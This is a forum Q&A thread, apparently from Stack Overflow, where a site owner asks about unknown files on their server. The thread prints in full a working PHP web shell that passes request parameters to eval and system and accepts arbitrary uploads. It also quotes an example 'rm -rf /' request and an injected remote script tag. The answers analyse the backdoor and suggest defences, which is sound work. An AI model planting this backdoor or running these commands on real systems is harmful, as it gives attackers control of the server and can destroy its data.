views:

1528

answers:

8

I recently found 4 bizarre files on my server (that I didn't upload). The filename were like this: goog1e7a20543b128921.php

And here's the code that was inside them:

Goog1e_analist_up<?php $e=@$_POST['e'];$s=@$_POST['s'];if($e){eval($e);}if($s){system($s);}if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}?>

Do you have any idea what this code is supposed to do..? Should I start to panic..?

Thanks.

+12  A: 

Yep, this is malicious code. This shell script will allow to execute code as well as upload any file is the attacker knows the parameters passed to it. I recommend searching all files for that code, verify file permission and change your passwords just in case.

Hansy
+4  A: 

Delete them right NOW!


It's a backdoor into your webserver.
It allows attackers to send a request to http://you.com/goog1e7a20543b128921.php?s=rm -rf / to delete your entire system.

You should then conduct a thorough security review of your site to figure out how they got there in the first place.

SLaks
No! move it away to a safe place, instead of deleting. you may need it for forensic purposes.
mhaller
@mhaller: What forensic purposes are you referring to? This isn't some complex virus/rootkit. It's a pretty simple piece of code, and there's not much you can glean from it except that the attacker is a poor speller.
Lèse majesté
@SLaks: actually, POST data is not encoded in the URI like GET requests. It's transmitted as the message body after all the headers.
Lèse majesté
@Lèse Majesté: e.g. the file timestamp when it was created; whether the hex-code is always the same or random; which form vars had been used; the system user who created the file (e.g. apache or root or another daemon user ...) stuff like that. yeah, this thing is simple, but anyway you should do it for all malicious scripts
mhaller
Ah... Yea, I guess you should record that stuff before you delete it. Is there software that logs filesystem activity like that (e.g. logs entries whenever someone creates/edits/opens/deletes a file or directory)?
Lèse majesté
+10  A: 

Suggestion to deal with the attack

I would suggest you to use the HTML Purifier or OWASP to make things a lot secure.

You must disable the eval construct if you are not using that (and you shouldn't unless you really need to).

Analyze the server settings for any security holes with:

PHPSecInfo

alt text

Sarfraz
I'll definetely check out these tools. Thanks.
pnichols
@pnichols: Yup you definitely should :)
Sarfraz
+1  A: 

eval($e) - remote execute command system - eq. for listind directory $_FILES['f']['name'] - for uploand script to server eq hack tools etc

Danny
A: 

apparently you are not the only one with these. googled it real quick, other sites seem infected as well. it looks like all the time the infected file stores itself in the images folder.

fabjoa
http://shine.yahoo.com/channel/life/goog1e-start-up-kit-scam-443472/do you sign up to a Google service? It might not have been Google after all
fabjoa
@abjoa: As said in my other comment to the question Google will NEVER upload files on your host.
nico
@nico yes but a service that pretended to be Google, thats what the linked article refers to
fabjoa
@abjoa: Sorry, I didn't see the `not` in your comment :)
nico
+4  A: 

For reference:

if($e){eval($e);}

This allows the attacker to execute any PHP command they want.

if($s){system($s);}

This allows the attacker to execute any system command they want, as whatever user your webserver runs as.

if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}

This allows the attacker to upload any file they want - again the user your webserver runs as determines file permissions.

In summary, panic :-p

I'm sure there are lots of articles online on how to deal with this. In brief, back up your system for analysis later, reinstall server from scratch (You don't know what else they have done to you so just deleting the files isn't good enough.) while trying to work out how they got in and plugging the hole.

James
A: 

Related: Try installing phpAntiVirus for the future, and ask your provider for mod_security. This might mitigate future hacks. Those files didn't materialize all by itself on your server anyway. Get rid of all older PHP applications.

mario
A: 

Look for this in each file. script src="http://nt02.co.in/3"> if you find one using your ftp look at the date the files was modified and open all the files modified on that date and remove it.

badbo Monster Killer

badbo